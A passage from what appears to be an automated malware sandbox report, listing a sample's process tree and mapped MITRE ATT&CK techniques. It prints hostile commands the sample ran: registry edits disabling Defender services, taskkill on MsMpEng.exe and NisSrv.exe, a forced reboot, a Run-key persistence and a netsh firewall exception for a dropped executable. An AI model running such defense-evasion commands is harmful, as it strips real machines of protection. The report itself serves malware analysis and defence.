    3⤵
    PID:3456
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:5244
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\MDCoreSvc\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  PID:4740
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\MDCoreSvc\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:1088
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im MsMpEng.exe"
  2⤵
  PID:5896
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im MsMpEng.exe
    3⤵
    - Kills process with taskkill
    PID:4772
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im NisSrv.exe"
  2⤵
  PID:1760
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im NisSrv.exe
    3⤵
    - Kills process with taskkill
    PID:2676
- C:\Windows\system32\cmd.exe
  "cmd" /c "shutdown /r /t 12 /f"
  2⤵
  PID:3540
- - C:\Windows\system32\shutdown.exe
    shutdown /r /t 12 /f
    3⤵
    PID:4572

C:\ProgramData\Microsoft\WinSvc\winsvc32.exe
"C:\ProgramData\Microsoft\WinSvc\winsvc32.exe"
1⤵
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
PID:1924
- C:\Windows\._cache_winsvc32.exe
  "C:\Windows\._cache_winsvc32.exe"
  2⤵
  - Executes dropped EXE
  - Enumerates video capture drivers
  - Reads the TCP/IP host and domain name from the registry
  - System Location Discovery: System Language Discovery
  PID:4744
- - C:\Windows\SysWOW64\netsh.exe
    netsh firewall add allowedprogram "C:\Windows\._cache_winsvc32.exe" "._cache_winsvc32.exe" ENABLE
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:3308
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4572
- C:\ProgramData\Synaptics\Synaptics.exe
  "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate
  2⤵
  - Executes dropped EXE
  - Reads the TCP/IP host and domain name from the registry
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  PID:4072

C:\ProgramData\Synaptics\Synaptics.exe
C:\ProgramData\Synaptics\Synaptics.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:3328

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1592

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:5560

C:\Windows\System32\PickerHost.exe
C:\Windows\System32\PickerHost.exe -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
PID:6068

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa38bf855 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:2308

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k CameraMonitor
1⤵
PID:5960

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery